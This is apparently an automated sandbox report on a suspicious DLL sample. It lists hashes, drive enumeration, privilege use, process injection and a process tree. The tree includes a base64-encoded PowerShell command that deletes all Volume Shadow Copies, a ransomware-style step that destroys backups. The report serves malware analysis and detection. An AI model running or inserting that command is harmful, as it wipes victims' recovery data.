Analysis
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max time kernel
119s -
max time network
119s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:56
Static task
static1
Behavioral task
behavioral1
Sample
d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a.dll
Resource
win10-en-20211208
General
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Target
d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a.dll
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Size
166KB
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MD5
ab8f4c4066dd0eaa61d6a1e32d0312d9
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SHA1
d649f611ede50ab27e1856e17c0555158113fab4
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SHA256
d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a
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SHA512
dd1901a904c40a81922880f2a34c622d8dc0558ecea3a6f3520d87b26172cd784a0e3953d34948a9fe6b7ff46115be6fddd086655b4e76dea536dd8fcd0f5ace
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\F: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1552 rundll32.exe 720 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1552 rundll32.exe Token: SeDebugPrivilege 720 powershell.exe Token: SeBackupPrivilege 1780 vssvc.exe Token: SeRestorePrivilege 1780 vssvc.exe Token: SeAuditPrivilege 1780 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1276 wrote to memory of 1552 1276 rundll32.exe rundll32.exe PID 1276 wrote to memory of 1552 1276 rundll32.exe rundll32.exe PID 1276 wrote to memory of 1552 1276 rundll32.exe rundll32.exe PID 1276 wrote to memory of 1552 1276 rundll32.exe rundll32.exe PID 1276 wrote to memory of 1552 1276 rundll32.exe rundll32.exe PID 1276 wrote to memory of 1552 1276 rundll32.exe rundll32.exe PID 1276 wrote to memory of 1552 1276 rundll32.exe rundll32.exe PID 1552 wrote to memory of 720 1552 rundll32.exe powershell.exe PID 1552 wrote to memory of 720 1552 rundll32.exe powershell.exe PID 1552 wrote to memory of 720 1552 rundll32.exe powershell.exe PID 1552 wrote to memory of 720 1552 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1552 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:720
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:272
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1780
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/720-56-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmpFilesize
8KB
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memory/720-57-0x000007FEF1AF0000-0x000007FEF264D000-memory.dmpFilesize
11.4MB
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memory/720-58-0x0000000002510000-0x0000000002512000-memory.dmpFilesize
8KB
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memory/720-59-0x0000000002512000-0x0000000002514000-memory.dmpFilesize
8KB
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memory/720-60-0x0000000002514000-0x0000000002517000-memory.dmpFilesize
12KB
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memory/720-61-0x000000000251B000-0x000000000253A000-memory.dmpFilesize
124KB
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memory/1552-55-0x00000000756C1000-0x00000000756C3000-memory.dmpFilesize
8KB